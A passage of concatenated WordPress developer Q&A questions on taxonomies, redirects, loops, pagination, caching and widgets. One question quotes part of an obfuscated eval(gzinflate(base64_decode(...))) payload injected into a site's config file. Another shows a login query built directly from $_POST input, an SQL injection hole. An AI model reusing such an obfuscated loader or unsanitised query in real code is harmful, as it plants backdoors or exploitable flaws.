),             'singular_name'              => _x( 'Speaker', 'Taxonomy Singular Name' ),             'menu_name'                  => __( 'Speaker' ),             'all_items'                  => __( 'All Speakers' ),             'new_item_name'              => __( 'New Speaker Name' ),             'add_new_item'               => __( 'Add New Speaker' ),             'edit_item'                  => __( 'Edit Speaker' ),             'update_item'                => __( 'Update Speaker' ),             'separate_items_with_commas' => __( 'Separate speakers with commas' ),             'search_items'               => __( 'Search speakers' ),             'add_or_remove_items'        => __( 'Add or remove speakers' ),             'choose_from_most_used'      => __( 'Choose from the most used speakers' ),         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'speaker',         );         register_taxonomy( 'speaker', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_speaker_ct_init', 0 );          /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy     function ssum_year_ct_init() {              $labels = array(             'name'                       => 'Years',             'singular_name'              => 'Year',             'menu_name'                  => 'Years',             'all_items'                  => 'All Years',             'new_item_name'              => 'New Sermon Year',             'add_new_item'               => 'Add New Year',             'edit_item'                  => 'Edit Year',             'update_item'                => 'Update Year',             'separate_items_with_commas' => 'Separate years with commas',             'search_items'               => 'Search Years',             'add_or_remove_items'        => 'Add or remove years',             'choose_from_most_used'      => 'Choose from the most used years',             'not_found'                  => 'Year Not Found',         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'year',         );         register_taxonomy( 'year', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_year_ct_init', 0 );      The Year taxonomy is the one that shows up in the menu system. I want to get it out of the menu like the others but add the cpt link to the menu. In this case that would be 'example.com/sermons'


Register and Connect links: where are they located?

A trivial question which eludes me: I want to modify the logic behind showing the Register and Connect link, which appear at the top right hand side on my homepage. In which php source file are they located? They are NOT modified by my theme. Thank you.


Adding a class to tag list in a function

How can I add a class to the function so I can style the output tags as boxes in css?               <?php         if(get_the_tag_list()) {             echo get_the_tag_list('

','

','

');         }     ?>


Holding 2 wp_user in the same action (to update billing_email when user_email is updated)

iam trying to update woocommerce billing_email when user_email is updated , the problem is how to hold two objects from wp_user within the same action , in this code               add_action('profile_update', 'sync_woocommerce_email', 10, 2) ;          function sync_woocommerce_email( $user_id, $old_user_data ) {     $current_user = wp_get_current_user();              echo $current_user->user_email;         echo $old_user_data->user_email."   ";          if ($current_user->user_email != $old_user_data->user_email) {         wp_update_user( array ( 'ID' => $current_user->ID, 'billing_email' => $current_user->user_email ) ) ;       }     }      when i do this two echo i found the same email twice , but when i remove                $current_user = wp_get_current_user();      > $old_user_data echo the old email , which means that current_user object override the $old_user_data object , how to solve this ?


Custom Post Type Template Alternative

I've managed to figure out how to use Custom Post Type templates now and they are great. I do however want to know if there is not a way to use a current template I have developed for other pages. What I have is a page-three-column.php file using conditional checks to see which page it is on and then displaying the relevant content as it needs to. Rather than copy this html over to the single-product.php template, I want to be able to use the page-three-column.php again as it has all the structure already in place and I wont need to duplicate html and compare it. Is there a way to "force" wordpress to use a specific template rather than the Custom Post Type template? I've read through the Codex to see if there is a conditional check one could use and thought that is_single( 'product' ) might work. Clearly the custom post type template was built to display the content as it is intended but if there is another way, I would appreciate the help? Many thanks.


Removing top-level pages from URL

The pages (not posts) on my site follow a hierarchical structure, where top- level pages have no content and are only used to group the lower-level pages in _categories_. That way, the page _us_ has no content, but the pages _one by one_ , _history_ and _offices_ are assigned to it so I can handle them as a group. That's fine, and working as intended, but now I want to remove the top level pages from the URL, and I can't seem to find a way. The change would be:               http://www.example.com/top-level-page/lower-level-page      to               http://www.example.com/lower-level-page      Is there any way to do this without losing the hierarchical structure I've set up?


I want to select the from values from database in WordPress?

Here is my code:               $sql = 'SELECT * FROM ' . $wpdb->base_prefix . 'item WHERE uname = "'. $_POST['login_name'] . '" ';     $result = $wpdb->get_results($sql) or die(mysql_error());     foreach($result as $results) {         $results->salt;         $results->password;       }     echo $sal->$results[0];     echo $pwd->$results[1];


How to make child categories recognize parent's template displays

I'm using the Default Post Type `post` for various purposes. To sort them I'm using different categories. And I'm designing different category layout using the slug preference, like: `category-book.php`, `category-notice.php` etc., and everything was just fine. But just a moment ago found that, any subcategory of the parent category 'book' is redirecting to `index.php` (or `archive.php`, or `category.php`) because they are not recognizing their parent's category template (`category- book.php`), because their slug is different. How can I make the child categories recognize their parent's template design?   Do I have to make a custom template using a `WP_Query()` for that?


wordpress can't upload plugin

I can not upload the plugin through the admin or cpanel. I am trying to work in localhost. I am getting the following error > Unpacking the package… > > Could not copy file. contact-form-7/settings.php


redirect wp-login.php to another page

I would like to redirect this page `wp-login.php` to `/login` page. So when a user clicks on a link like this `<a href="/wp-login.php">login</a>`, wordpress will redirect him to `/register` . I found this function and modified it :               add_action('init','custom_login');          function custom_login(){      global $pagenow;      if (( 'wp-login.php' == $pagenow ) && (!is_user_logged_in())) {       wp_redirect('/login');       exit();      }      I am not good with wordpress coding. The redirection works fine, but the authentication seems to be broken. When I enter my login/pass, the same page (`/login`) reloads without being authenticated. Any suggestion to fix the function for redirection ?


Undoing define( 'UPLOADS', ''.'files' ); to repoint to "wp-content/uploads" folder

Is it possible that by setting the “wp-content/uploads” to use a different folder by using `define( 'UPLOADS', ''.'files' );` I have effectively changed all the paths on a permanent basis and if that is the case, how do I undo this so that it points back to “wp-content/uploads”? I thought that just by commenting out the `define( 'UPLOADS', ''.'files' );` line out I will sort out a problem I am having where a file I am uploading to WP does not want to download because the URL is not the right path to the file.


help in applying pagination retrieve the data from database

I'm following the tutorial here http://wpengineer.com/2426/ on how to apply pagination in wordpress. Now he said "As pointed out in the comment the array_slice is only necessary because we use sample data. If you're retrieving the data from a database you only need to load the necessary data by using SQL's LIMIT." Here is the `prepare_items()` function               function prepare_items() {             global $wpdb;             // I tried using LIMIT here but seems Im doing it wrong             $row = $wpdb->get_results("SELECT business_name, contact_name, mobile, email FROM wp_registration", ARRAY_A);                  // Pagination             $per_page = 5;             $current_page = $this->get_pagenum();             $total_items = count($row);             // Only necessary             $this->found_data = array_slice($row, (($current_page - 1) * $per_page), $per_page);             $this->set_pagination_args( array(                         'total_items' => $total_items,                         'per_page' => $per_page)                         );             $this->items = $this->found_data;                  $columns = $this->get_columns();             $hidden = array();             $sortable = $this->get_sortable_columns();             $this->_column_headers = array($columns, $hidden, $sortable);             usort( $row, array( &$this, 'usort_reorder') );             $this->items = $row;         }      My problem is where should I put the LIMIT in the function? I putting it in the query directly but only shows the rows if I specify the LIMIT Can you please help me and point out where did I go wrong? Any help would be much appreciated. Thanks!


Get mixed category random posts

I have 3 categories: A, B, C. A is having around 1000 posts, B has around 300 posts and C has 50 posts. When I query for 5 posts, ordered randomly. I get mostly posts from A category. How can get mixed category random posts like 3 from A, 1 from B and 1 from C?


do code if current url = value

The Google Content Experiments installation is not working for me. I add the code in the header, but nothing is output. So, I've added the Google Analytics experiment code manually into the header. The only problem is the theme is shared between network sites. So I want to only insert the code into the header on the condition that the current URL = {value}. I know I can use conditional tags, but if I use is_page, this might fire accidently on another network site. How do I do this?


Hide permalink and preview button and link on custom post

anyone know how to custom box that contain "`Publish,save draft,and preview button`" ? i'll hide all button except Publish button. and same as "`change permalink`" also "`view,delete,edit`" link inside post how to hide the permalink and view link ? here the illustration what i talking about. > Customizing Publish Button From Original Wordpress ![enter image description here](http://i.stack.imgur.com/ynXmz.jpg) ![enter image description here](http://i.stack.imgur.com/qAuwQ.jpg) > Customizing post link from original wordpress ![enter image description here](http://i.stack.imgur.com/FHs8G.jpg) ![enter image description here](http://i.stack.imgur.com/LegKb.jpg) > delete permalink under wordpress post title ![enter image description here](http://i.stack.imgur.com/T2fqi.jpg)


Properly display posts on homepage

I'm having trouble displaying posts from a single category on the homepage the way I want them to appear. The theme I'm using uses a 3 column layout for the homepage and a content-sidebar layout for the blog page. Basically I want the homepage to display exactly like the blog page, but include the slider. So what I did was just copy the code from `category.php` and pasted it into a new custom page template titled `hompage.php` and set that as my homepage. But for some reason its not displaying any posts and I have no idea why. category.php               <?php     /**      * The template for displaying Category pages.      *      */     $settings = get_option( "ntl_theme_settings" );     get_header(); ?>

                             <?php if ($settings['ntl_disable_audio'] != 'off'){     ?>

<?php single_cat_title(); ?>

                                          <?php echo lets_get_albumselector(); ?>                                                                             <?php echo lets_get_musicplayer(); ?>
                                                      <?php } else { ?>

<?php single_cat_title(); ?>

                                  <?php } ?>                                  <?php if (!$settings['ntl_show_timer']) { ?>
                                      <?php echo get_for_timer(''); ?>                             <?php } else { ?>
                             <?php } ?>
             <?php if ($settings['ntl_disable_audio'] != 'off'){     ?>

             <?php } ?>

                                                     <?php get_template_part( 'loop', 'category' ); ?>                                                                                <?php adminace_paging(); ?>

                                     <?php get_sidebar(); ?>

     <?php lets_make_carousel(); ?>               <?php get_footer(); ?>      loop.php               <?php     /**      * The loop that displays posts.      *      */          ?>          <?php /* If there are no posts to display */ ?>     <?php if ( ! have_posts() ) : ?>

<?php _e( 'Not Found', 'localize' ); ?>

<?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'localize' ); ?>
                             <?php get_search_form(); ?>

     <?php endif; ?>          <?php             /* Start the Loop.              *              *              * Without further ado, the loop:              */ ?>     <?php while ( have_posts() ) : the_post(); ?>                               <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>                                  <?php if ( !is_search() ) { ?>
<?php the_title(); ?>

                                     <?php ntl_posted_on(); ?><a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' )); ?>"><?php echo get_the_author(); ?>
                             <?php                             $pphoto = '';                             $pphoto = get_the_post_thumbnail($post->ID, 'imlink');                             if ($pphoto) {                             ?>
                                     <?php the_excerpt(); ?>

                                     <?php the_post_thumbnail('imlink'); ?>                                     <a href="<?php the_permalink(); ?>">

                             <?php the_time('j') ?>                             <?php the_time('M') ?>

                             <?php } else { ?>                             <?php the_excerpt(); ?>                             <?php } ?>                                  <?php } else { ?>

<?php the_title(); ?>
                             <?php the_excerpt(); ?>                             <a href="<?php the_permalink(); ?>">Read More
                             <?php } ?>
                          <?php comments_template( '', true ); ?>          <?php endwhile; ?>      Any suggestions would be much appreciated!


how to remove scripts loaded in the footer

Is it possible to remove scripts that are loaded in the footer in wordpress? I currently have the code that works for scripts but only for the one's that are added in the header via `wp_enqueue_script`. What it does is using `preg_replace` to match all the excluded scripts then replacing it with an empty string.               add_action('wp_head', array($this, 'plug_remove_scripts_start'), 0);     add_action('wp_footer', array($this, 'plug_remove_scripts_end'), 0);          public function plug_remove_scripts_start(){       function remove_scripts($buffer){         /*        script for altering the buffer to remove the scripts        */          return $buffer;       }       ob_start("remove_scripts");     }          public function plug_remove_scripts_end(){       ob_end_flush();     }      I already tried to change the `wp_footer` action hook into the following but it doesn't work:   * loop start   * plugins_loaded   * shutdown The script that I'm trying to target is right below the closing `</footer>` tag. I've already considered using `wp_dequeue_script` under the `wp_footer` action. That would also work but I need to support those guys which aren't adding scripts and styles properly and simply pasting something like:               <script src="http://somesite.com/wp-content/js/somescript.js"></script>      Any ideas? If you know any plugin that already does this job (removing scripts that are loaded from a theme, plugin or widget) it would be great as well. Thanks in advance!


**The problem (Excess White Space Above Admin Bar on Frontend Using Twitter Bootstrap):** While logged in and viewing the frontend -- If you shrink your browser down, there is an excess amount of white space which appears ABOVE the admin bar. I've noticed it's fine in full screen, and even ~tablet size. However, when about to shrink to anything smaller than about 600px, that's when the white space appears ABOVE the admin bar. I have tested on my phone, and the white space is there on my phone too. **The Question:** Is this a conflicting issue with WordPress, or is there something I need to do with my Twitter Bootstrap setup? * * * Any advice on eliminating this excess white space above the admin bar while viewing the frontend (using Twitter Bootstrap -- Responsive) on a mobile device would be greatly appreciated.


WWW to non WWW redirect effects on load speed

I was using pingdom to test the load speed on a site I'm working on and got different results for www vs non www. Wordpress automatically redirects to either www or non www depending on the settings. For the site in question its set to use non www and when tested in pingdom it came back with a 1 second result. Shortly after that I tested the site again with pingdom now with www and it came back as 3 seconds. I contacted my host (hostgator) cause I thought it might have been a weird dns issue and to be honest I'm not super clued up on dns related issues. They told me that the redirect happens while wordpress is already loading so when I go to www it loads wordpress then redirects so it almost has to load the site twice. They suggested I use a standard htaccess redirect at the top of the htacess file. After doing that I tested the site again with both versions and they both seem to load at around 1 second. Now finally after all that my question is why does this happen? At what point does the wordpress default redirect kick in. Should I just by default add the redirect myself to the top of the htaccess file for all sites? Basically just looking to find out more about how wordpress handles that redirect, if someone would perhaps link me to a codex page about it or a blog article that would be amazing.


How can I get W3 Total Cache to recognise Amazon ElastiCache?

What I did (on my EC2 instance): a) Followed Amazon's instructions here to install their special PHP Memcached Extension for ElastiCache. b) Confirmed it was installed and restarted apache               $ php -i | grep memcached     /etc/php5/cli/conf.d/memcached.ini,     memcached     memcached support => enabled     libmemcached version => 1.0.4     memcached.compression_factor => 1.3 => 1.3     memcached.compression_threshold => 2000 => 2000     memcached.compression_type => fastlz => fastlz     memcached.serializer => php => php     memcached.sess_binary => 0 => 0     memcached.sess_consistent_hash => 0 => 0     memcached.sess_lock_wait => 150000 => 150000     memcached.sess_locking => 1 => 1     memcached.sess_number_of_replicas => 0 => 0     memcached.sess_prefix => memc.sess.key. => memc.sess.key.     memcached.sess_randomize_replica_read => 0 => 0     Registered save handlers => files user memcached      c) Confirmed I could send and retrieve objects using the script here (I could). d) Updated `wp-content/w3tc-config/master.php` with the full address and port of my ElastiCache instance wherever it was pointing to `127.0.0.1:11211`. e) Tried and failed to figure out why I still can't select Memcached from the w3tc dropdown.


Rewriting URL does not automatically log me in

I've installed my blog at `www.mysite.com/blog` I want to re-write the URL to take out the `blog` part so you can access it at `www.mysite.com` I added a rewrite rule in `.htaccess` file, but I noticed that when I go to the rewritten URL, I am not logged into my account; I would have to go through the original `/blog` to be logged in. What is the problem here and how can I solve it?


What is the best way to hook a rewrite function for certain php code when plugins are updated?

I often times make a bunch of customizations on plugins I install from the WP repository. Typically the reason I find myself preforming these edits is to fix, rewrite or delete certain functions a plugin might be preforming such as:   * the plugin is automatically inserting a new menu/sub-menus in an undesirable location which I prefer to have standardized in accordance with my organization.   * I simply want to remove, edit or replace text or functions for things such as help links/pages, redundant donation buttons or annoying upgrade promotion dialog boxes. In end effect the edits I end up preforming are totally unique to each individual plugin and/or its files. The problem I constantly run into is keeping up to-date with the latest version while manually updating the code for each plugin. I believe the typical way users deal with this problem is by writing a function which takes priority over the plugins function (correct?). I can understand this approach working fine when the plugin/function I want to edit is simple but some of these plugins are very complex in nature and it seems this might not be the best approach. What I am really hoping for is a clean method to be able to automatically execute a type of regex "find and replace" on the plugins new source code/files prior to the plugin being updated. I understand this method is in no way bulletproof and plugins/code is always changing however some type of function like this would be very helpful... any suggestions?


Exclude sticky posts from query

I used `orderby=date` and `orderby=comment_count` to show my recent post and popular post, but sticky post is always there on the top. How can exclude sticky posts?


3 Column Loop with Pagination

I tried to run a loop and split post in 3 columns and then added pagination using Wp PageNavi wordpress plugin. It was working fine from where i copied this code but it seems to be not working for me. can somebody figure it out what i miss which is causing problem ?
           <?php $data = query_posts( array( 'posts_per_page' => 7, 'paged' => get_query_var('paged') ) ); ?>           <?php for($i=0; i<=1; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 1)break; }else{ break; } endfor; ?>

           <?php for($i=2; i<=3; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 3)break; }else{break;} endfor; ?>

           <?php for($i=4; i<=6; $i++): ?>           <?php if(!empty($data[$i])){ ?>

<a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail( $data[$i]->ID); ?>

<?php echo $data[$i]->post_excerpt; ?>

           <?php if($i == 6)break; }else{break;} endfor; ?>
            <?php wp_pagenavi(); ?>


Why I obtain this error message when I try to click on the author name of a post in my theme?

I am pretty new in WordPress theme development and I am experiencing a strange behavior in this custom theme that I am developing: http://onofri.org/WP_BootStrap/ As you can see in the blog are shown 2 posts and at the beginning of each post is print the **author name** (in this case **admin** ). Now if you print on this **author name** (on the "By **admin** " link) you can see al the posts that have been written by **admin** user, ok this is correct behavior The problem is that if I try to do the same operation on my local version of the website (the theme is exactly the same) I obtain the following error message: > notice: Undefined variable: authordata in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Trying to get property of non-object in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Undefined variable: authordata in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: Trying to get property of non-object in /var/www/wordpress/wp- > content/themes/AsperTheme/content.php on line 32 > > Notice: get_author_link is **deprecated** since version 2.1! Use > get_author_posts_url%28%29 instead. in /var/www/wordpress/wp- > includes/functions.php on line 2908 This is the code of my **content.php** file:               /**      * The default template for displaying content      *      * Used for both single and index/archive/search.      *      * @package WordPress      * @subpackage AsperTheme      * @since AsperTheme 1.0      */     ?>                    <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
                     <a href="<?php the_permalink(); ?>"                         title="<?php printf(__('Permalink to %s', 'your-theme'), the_title_attribute('echo=0')); ?>"                        rel="bookmark"><?php the_title(); ?>

                 <?php _e('By ', 'your-theme'); ?>                                      <a class="url fn n" href="<?php echo get_author_link(false, $authordata -> ID, $authordata -> user_nicename); ?>"                                          title="<?php printf(__('View all posts by %s', 'your-theme'), $authordata -> display_name); ?>"><?php the_author(); ?>                                                        |                  <?php _e('Published ', 'your-theme'); ?>                                      <abbr class="published" title="<?php the_time('Y-m-d\TH:i:sO') ?>"><?php the_time(get_option('date_format')); ?>                                  <?php edit_post_link( __( 'Edit', 'your-theme' ), "|\n\t\t\t\t\t\t", "\n\t\t\t\t\t" ) ?>

                 <?php the_content(__('Continue reading »', 'your-theme')); ?>             <?php wp_link_pages('before=
' . __( 'Pages:', 'your-theme' ) . '&after=
') ?>

                              <?php _e('Posted in ', 'your-theme'); ?>                 <?php echo get_the_category_list(', '); ?>                           |              <?php the_tags( '' . __('Tagged ', 'your-theme' ) . '', ", ", "\n\t\t\t\t\t\t|\n" ) ?>                 <?php comments_popup_link( __( 'Leave a comment', 'your-theme' ), __( '1 Comment', 'your-theme' ), __( '% Comments', 'your-theme' ) ) ?>                 <?php edit_post_link( __( 'Edit', 'your-theme' ), "|\n\t\t\t\t\t\t", "\n\t\t\t\t\t\n" ) ?>

        Why? what could be the problem?


How can I check a new comment reply in realtime and get the reply text for a notification system in wordpress?

I would like to, when you get a reply for your comment, you get little box, in right side, something like this with the reply text.   The notificator must be work in real time, and must be, get the user profile picture, if him have it (the profile picture come from gravatar.com).   If user dosen't have profile picture, the script get the "mystery man" default user picture.   The question is how can I solve this?   I searced for google, but I always get "comment reply link" which doesen't help me.   My site is this.


Get Wordpress current date/time

In my plugin, I am trying to get the current date/time of the blog into the code but it seems to be returning a odd date/time. If i put a new post on the blog it does show the correct date/time so I am not sure what the issue is. Am I handling the code incorrectly? (Post Time: Published on: Feb 13, 2012 @ 22:45) ## PHP Code               <?     $t_time = get_the_time( __( 'Y/m/d g:i:s A' ) );     echo "
BLOG TIME
";     echo $t_time . "
";     echo "
";     echo "
SERVER TIME
";     echo date("Y/m/d g:i:s A");     ?>      OUTPUT BLOG TIME 2011/05/20 10:28:16 PM SERVER TIME 2012/02/14 5:41:35 AM


custom fields multiple image fields

i am building an artist's archive with WP to host a variety of entries (custom post types such as "photographs", "artworks", "publications" and etc.). due to the large quantity of data, i am uploading images manually to their correct paths, and uploading the data with a CSV importer. generally for each entry there is only one featured image, and it is pretty clear and straightforward. but for the publications, i am a bit stuck because the client would like to show excerpts of these books, and sometimes even the whole book (if it is a short booklet for example). ideally i was thinking about adding a repeatable field for an image upload, but im not sure that is the best approach. another idea was to create a post select that would contain the post id of the "next page". i am trying to avoid creating PDFs (because there would be 1,000+ pdfs of 3-5 pages), but maybe that could be another strategy - to have a single entry for each book and a pdf with the excerpted pages. the disadvantage of the pdf is that it is not so flexible an approach, maybe it could work okay for a book, but there are also artworks that have alternate views etc. so the pdf would be an awkward solution at its best. somehow in my mind, i think it would be good to have all of this information together in the same post, but maybe there are better ways to do this. the biggest limitation is finding a way that would work well with the CSV approach, and not something that would have to be manually entered. has anyone tried using repeatable fields and uploading CSV?? how would that even work? have any of you had to do something like this? any ideas? thanks!!


JQuery plugin that works with Google 1.10.2 and not with Wordpress 1.10.2

I'm making a custom implementation of JQuery Colorbox in a Wordpress plugin. However, it's not working with my default Wordpress installation. After tinkering a bit, it comes down to the inclusion of the JQuery library. Neither of these lines work: `<script src='http://xpisobsolete.com/wp- includes/js/jquery/jquery.js?ver=1.10.2'></script>` `<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` But either one of these do: `<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` `<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>` I've tested that JQuery works with all of the above by using:               if (typeof jQuery != 'undefined') {              alert("jQuery library is loaded!");          }else{              alert("jQuery library is not found!");          }      It passes on all four of the script links I've tried. If I change that one line on Jack's demo page, it breaks as well. Is this a colorbox issue? http://www.jacklmoore.com/colorbox/example1/ Could you guys help me see what I'm missing here? I'm stumped.


why to use query_posts() in custom page?

Hi i am new in wordpress and want to know about `query_posts()` function. If there is index page or home page than there is no need this function to display post but if i made custom page than there this function must used to display. Why?


Randomly select one of last 3 posts

ok so i have this:                   $args=array(                 'orderby' => 'rand',                 'order'    => 'DESC',                 'posts_per_page' => 1,                 'offset' => $offset,         );     $q = new WP_Query($args);     if ($q->have_posts()) {}      what im looking for is to Randomly show one of the last 3 posts:               SELECT * FROM      (SELECT * FROM `wp_posts` WHERE `post_type` = 'post' ORDER BY post_date DESC LIMIT 3)      AS temptable ORDER BY RAND() LIMIT 1


Connect Users and Taxonomies

I'd like to send email notifications when new posts are saved. But users can select post categories they want to subscribe to. Available plugins are no solution to me – I really need my own code base. Even though I am fairly new to WP there is no problem with all that … but I don't know how to connect custom taxonomies to users. Is it possible to list all categories on the user profile page (checkboxes) and save theme in the usermeta table? Or do you mean it is better to put all the subscriptions into a new table and use a third pivot table to connect taxonomies and users? Or another solution? Any ideas are appreciated :-) Many thanks!


Display DISQUS on homepage

I have installed disqus and I want it to show up on my homepage. It replaced the old wordpress comments system on pages and posts but I also want it to appear on index.php my index.php file now - > http://i.imgur.com/TxaroMC.png I added <`?php comments_template(); ?>` but nothing happend. What should I do ? I want to put it at the bottom of my website Thanks


Remove hacked code - out of ideas!

I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this intro. I've removed it several times, changed the FTP password, admin password and username, the SALTs and checked the .htaccess - beyond that I'm stuck. Any idea how to solve this? Part of the code, the middle cut down a lot;               eval(gzinflate(base64_decode('pRn9c9o49ufczP0PKuPGuHHAGAihiZN2U7q7M9dtj6Y3c5OkjLBl8GJsr2wINM7/fu9J8kcI2dub67RI1vvU+5KeGvik+cwloQZZf1zzedt1ZZlcpyBPJMvX2pG1Dprepar9axCdwIH0gE+bythF4QS5moVpGq9H/ZZomjWCjjmNihq1vs40FxskklHEdv6/jmX36VOulSG/Bj9Z9GL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAiXZR/ovb0UMgrDAs8IXtyOPNwPy2Yyf9vqj027LHnfzEoKLIbhMjdKE6juoGrE7goKguDPBX4+B8=')));


post pagination names, not numbers

currently, using `<!--nextpage-->` on a post pulls just numbers. What I would like is to be able to name each page break, and then call the name instead of just a number. Something like: `<!--nextpage: Introduction-->` I'm not talking about url renaming, just names to be used for the page links. Can anyone help?


How to get The Loop working with $wpdb->get_results()

I am doing a rather complicated custom query on a blog's front page, and trying to show the results using The Loop as shown here: Displaying posts using a custom SELECT query The query filters posts by a custom field that contains a date (show only posts where that field is set to today or later), and orders them by that date. The query returns the correct posts, but if I turn them over to The Loop, the results are shown as if I were doing a regular query, not the specialized one (i.e. the wrong posts show up). The people in this forum thread have the same problem; I utilized the $GLOBALS workaround shown there, but to no avail.                 global $post;       global $wpdb;           $querystr = "SELECT wposts.* FROM $wpdb->posts wposts ...... some conditions and joins";      $eventsPosts = $wpdb->get_results($querystr, OBJECT);           print_r($eventsPosts); // shows CORRECT data                 if ($wpdb->num_rows > 0)       foreach ($eventsPosts as $post)         {              /* workaround */         $stored_post = clone $GLOBALS['post']; // Why, Wordpress, why?         $GLOBALS['post'] = $post;              // Why are you making me do such terrible things?              setup_postdata($post);         the_post();         the_title(); // shows INCORRECT post              /* workaround: Restore global */         $GLOBALS['post'] = clone $stored_post;             }      however, this output gives me the result as if I had done a regular query, not my special one. Ie, `the_title()` outputs the title of a post that isn't in the query result. If I test output the custom query result:               print_r($eventsPosts);      I get the _correct_ posts. Only when I use Loop functions, the wrong results are output. Is there a canonical, correct way of doing this that works?


Plugin to automatically change anchor text of urls to the destinations title?

Say I link to http://www.glumbo.com on one of my posts. I want wordpress to automatically change the anchor text of the link to glumbo.com's title. How can I do this?


simple fields plugin custom query

I have a collection of posts for families. I'm using the simple fields plugin for handle members of the family. Is there a simple way to query posts based on values from the custom fields created by the simple fields plugin. I see the meta keys in the admin:               _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_0          _simple_fields_fieldGroupID_6_fieldID_1_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_1      where fieldID_1 is a dropdown for year (1950-2010),   fieldID_2 is a dropdown for gender (male or female)   fieldID_3 is a textfield for name How would I query to get all posts where gender is 'male' and ordered by year? Thanks! **EDIT** There are numInSet_N values. Some might have 0, others 10 or more. The simple fields plugin creates generic values for each key. For example, _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0 is a dropdown for year and has the following key values:               dropdown_num_2     dropdown_num_3     dropdown_num_4     ...     dropdown_num_62      Where dropdown_num_2 is actually 1950, dropdown_num_3 is 1951 and so forth. The same is true for the gender dropdown, _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0, which has the following key values:               dropdown_num_2     dropdown_num_3      Where dropdown_num_2 is actually 'male', dropdown_num_3 is 'female'. So the query to get all posts where gender is 'male' and ordered by year would need to check _simple_fields_fieldGroupID_6_fieldID_2_numInSet_N == 'dropdown_num_2' and ORDER BY the year of all matched posts.


Using $wpdb object in a widget

I'm trying to make a very simple widget that access tables contained within the same database instance as my Wordpress database, but are not wordpress tables. I'm using the wpdb class according to the codex. I'm not getting any errors, but I'm also not getting any results. Am I using the object appropriately? Or should I be rolling my own access class for my own tables? Here is the widget code:               function widget ($args,$instance)      {             extract($args);                  global $wpdb;                  $title = $instance['title'];             $catid = $instance['catid'];                  $current_user = wp_get_current_user();                  $sql = 'SELECT max(ID) as MaxID, status FROM Clients WHERE UserID = '.$current_user->ID;             $clientRow = $wpdb->get_results($sql);                  $out = '
';             $out .= 'Client status: '.$clientRow->status.'
';                  echo $before_widget;             echo $before_title.$title.$after_title;             echo $out;             echo $after_widget;     }      Thanks in advance.


Post_type doesn't work for widgets?

I've found almost the same question: http://stackoverflow.com/questions/4796165/multiple-loops-in-wordpress-second- loop-not-resetting but the answer doesn't work for me. I have "portfolio" post type, and I'm working on widget displaying all portfolio items. This code works perfectly on page-portfolio:               $loop = new WP_Query( array(              'post_type' => 'portfolio',                'posts_per_page' => 5 ) );          <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>               (...)     <?endwhile?>      But when I implement this in my widgets - the "post_type" field doesn't seem to work. No matter what I type as post type - it always displays POSTS instead of PORTFOLIO ITEMS. Even if the post type doesn't even exist (and as we all know it should display nothing if there's no such post type!). I believe the problem is aside from my widget there's blog section (loop from loop.php, no code to show, because there's just only "while ( have_posts() ) : the_post();") [edit] I may be wrong, deleted every line of code from loop.php and my widget still shows posts. Any ideas how to fix that? [edit #2] Ok, so my site looks just like every normal Wordpress blog:               header.php     loop.php > widget area     footer.php      There is almost no PHP code in header and footer (at least no loops etc.). The loop.php is also I'd say normal:                <?php if ( ! have_posts() ) : ?>          (...)         <?php endif; ?>               <?php while ( have_posts() ) : the_post(); ?>          (...)         <?php endwhile; ?>        In fact the widget is ALSO not very unique:               function myWidgetName_load_widgets() {         register_widget( 'myWidgetName' );     }          class myWidgetName extends WP_Widget {              function myWidgetName() {     (...)     }          function widget( $args, $instance ) {             extract( $args );             $title = apply_filters('widget_title', $instance['title'] );             $number = $instance['number'];                  echo $before_widget;             if ( $title )                 echo $before_title . $title . $after_title;             if ( $number )         echo "
"; ?>                       <?php           $loopWithSuperUniqueName = new WP_Query( array(              'post_type' => 'anything', /* and this doesn't work */                'posts_per_page' => 15 ) );         ?>               <?php while ( $loopWithSuperUniqueName->have_posts() ) : $loopWithSuperUniqueName->the_post(); ?>
<?php the_title(); ?>
 /* it always displays POSTS even if 'post_type' => 'alalaaolbadiobladaWhathever' */          <?php endwhile; ?>                               <?php echo "
